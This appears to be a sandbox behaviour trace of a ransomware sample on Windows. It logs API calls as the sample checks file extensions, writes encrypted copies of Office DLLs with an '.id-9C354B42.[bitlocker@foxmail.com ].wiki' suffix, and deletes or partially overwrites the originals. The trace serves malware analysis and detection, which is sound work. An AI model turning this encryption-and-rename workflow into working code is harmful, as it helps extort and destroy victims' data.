1 [0192.190] lstrlenW (lpString=".docx") returned 5 [0192.190] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0192.190] lstrlenW (lpString=".pdf") returned 4 [0192.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.190] lstrlenW (lpString=".xls") returned 4 [0192.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.190] lstrlenW (lpString=".xlsx") returned 5 [0192.190] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0192.190] lstrlenW (lpString=".ppt") returned 4 [0192.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.190] lstrlenW (lpString=".zip") returned 4 [0192.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.190] lstrlenW (lpString=".rar") returned 4 [0192.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.190] lstrlenW (lpString=".bz2") returned 4 [0192.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.190] lstrlenW (lpString=".7z") returned 3 [0192.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.190] lstrlenW (lpString=".dbf") returned 4 [0192.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.190] lstrlenW (lpString=".1cd") returned 4 [0192.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.190] lstrlenW (lpString=".jpg") returned 4 [0192.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.191] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.191] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0192.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.191] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=18336) returned 1 [0192.191] CloseHandle (hObject=0x1e4) returned 1 [0192.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0192.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.192] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.192] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0192.192] GetLastError () returned 0x0 [0192.192] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x47a0, lpOverlapped=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x47b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x47b0, lpOverlapped=0x0) returned 1 [0192.204] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.204] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0192.204] SetEndOfFile (hFile=0x1cc) returned 1 [0192.204] CloseHandle (hObject=0x1cc) returned 1 [0192.204] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.204] SetEndOfFile (hFile=0x1e4) returned 1 [0192.205] CloseHandle (hObject=0x1e4) returned 1 [0192.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.205] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 1 [0192.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString=".doc") returned 4 [0192.206] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString=".docx") returned 5 [0192.206] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0192.206] lstrlenW (lpString=".pdf") returned 4 [0192.206] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString=".xls") returned 4 [0192.206] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString=".xlsx") returned 5 [0192.206] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0192.206] lstrlenW (lpString=".ppt") returned 4 [0192.206] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString=".zip") returned 4 [0192.206] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString=".rar") returned 4 [0192.206] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString=".bz2") returned 4 [0192.206] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.206] lstrlenW (lpString=".7z") returned 3 [0192.206] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString=".dbf") returned 4 [0192.206] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString=".1cd") returned 4 [0192.206] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString=".jpg") returned 4 [0192.206] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.207] lstrlenW (lpString=".doc") returned 4 [0192.207] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString=".docx") returned 5 [0192.207] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0192.207] lstrlenW (lpString=".pdf") returned 4 [0192.207] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString=".xls") returned 4 [0192.207] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString=".xlsx") returned 5 [0192.207] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0192.207] lstrlenW (lpString=".ppt") returned 4 [0192.207] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.207] lstrlenW (lpString=".zip") returned 4 [0192.207] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString=".rar") returned 4 [0192.207] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.207] lstrlenW (lpString=".bz2") returned 4 [0192.207] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.207] lstrlenW (lpString=".7z") returned 3 [0192.207] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.207] lstrlenW (lpString=".dbf") returned 4 [0192.207] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.207] lstrlenW (lpString=".1cd") returned 4 [0192.207] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0192.207] lstrlenW (lpString=".jpg") returned 4 [0192.207] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.208] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.208] lstrlenW (lpString="PJRESC.DLL") returned 10 [0192.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.208] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=261008) returned 1 [0192.208] CloseHandle (hObject=0x1e4) returned 1 [0192.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0192.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.208] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.208] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0192.217] GetLastError () returned 0x0 [0192.217] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x3fb90, lpOverlapped=0x0) returned 1 [0192.223] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x3fba0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x3fba0, lpOverlapped=0x0) returned 1 [0192.228] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.228] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0192.228] SetEndOfFile (hFile=0x1cc) returned 1 [0192.228] CloseHandle (hObject=0x1cc) returned 1 [0192.228] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.228] SetEndOfFile (hFile=0x1e4) returned 1 [0192.230] CloseHandle (hObject=0x1e4) returned 1 [0192.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.230] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.231] lstrlenW (lpString=".doc") returned 4 [0192.231] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString=".docx") returned 5 [0192.231] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0192.231] lstrlenW (lpString=".pdf") returned 4 [0192.231] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString=".xls") returned 4 [0192.231] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString=".xlsx") returned 5 [0192.231] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0192.231] lstrlenW (lpString=".ppt") returned 4 [0192.231] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.231] lstrlenW (lpString=".zip") returned 4 [0192.231] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString=".rar") returned 4 [0192.231] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.231] lstrlenW (lpString=".bz2") returned 4 [0192.231] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.231] lstrlenW (lpString=".7z") returned 3 [0192.231] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.231] lstrlenW (lpString=".dbf") returned 4 [0192.231] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.232] lstrlenW (lpString=".1cd") returned 4 [0192.232] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.232] lstrlenW (lpString=".jpg") returned 4 [0192.232] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.232] lstrlenW (lpString=".doc") returned 4 [0192.232] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString=".docx") returned 5 [0192.232] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0192.232] lstrlenW (lpString=".pdf") returned 4 [0192.232] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString=".xls") returned 4 [0192.232] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString=".xlsx") returned 5 [0192.232] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0192.232] lstrlenW (lpString=".ppt") returned 4 [0192.232] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.232] lstrlenW (lpString=".zip") returned 4 [0192.232] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString=".rar") returned 4 [0192.232] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.232] lstrlenW (lpString=".bz2") returned 4 [0192.232] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.232] lstrlenW (lpString=".7z") returned 3 [0192.232] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.233] lstrlenW (lpString=".dbf") returned 4 [0192.233] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.233] lstrlenW (lpString=".1cd") returned 4 [0192.233] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0192.233] lstrlenW (lpString=".jpg") returned 4 [0192.233] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.233] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.233] lstrlenW (lpString="PRJRES.DLL") returned 10 [0192.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.233] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=3943312) returned 1 [0192.233] CloseHandle (hObject=0x1e4) returned 1 [0192.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0x20 [0192.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0192.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0192.234] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0x0) returned 1 [0192.234] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.234] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f20058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.386] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.386] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f60058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.392] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3fa0058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.407] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.407] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x350fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0192.748] SetEndOfFile (hFile=0x1e4) returned 1 [0192.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x43c2030 [0192.752] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.752] WriteFile (in: hFile=0x1e4, lpBuffer=0x43c2030*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x43c2030*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.754] WriteFile (in: hFile=0x1e4, lpBuffer=0x43c2030*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x43c2030*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.756] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.756] WriteFile (in: hFile=0x1e4, lpBuffer=0x43c2030*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x43c2030*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.758] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43c2030 | out: hHeap=0x5c0000) returned 1 [0192.758] CloseHandle (hObject=0x1e4) returned 1 [0192.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.759] lstrlenW (lpString=".doc") returned 4 [0192.759] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString=".docx") returned 5 [0192.759] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0192.759] lstrlenW (lpString=".pdf") returned 4 [0192.759] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString=".xls") returned 4 [0192.759] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString=".xlsx") returned 5 [0192.759] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0192.759] lstrlenW (lpString=".ppt") returned 4 [0192.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0192.759] lstrlenW (lpString=".zip") returned 4 [0192.759] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString=".rar") returned 4 [0192.759] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.759] lstrlenW (lpString=".bz2") returned 4 [0192.759] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.759] lstrlenW 